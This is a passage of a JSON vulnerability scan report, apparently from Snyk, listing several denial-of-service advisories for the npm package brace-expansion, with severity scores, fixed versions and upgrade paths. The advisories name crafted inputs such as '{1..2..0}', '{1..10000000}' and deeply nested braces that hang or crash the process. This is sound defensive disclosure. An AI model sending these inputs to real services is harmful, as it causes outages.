"npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", 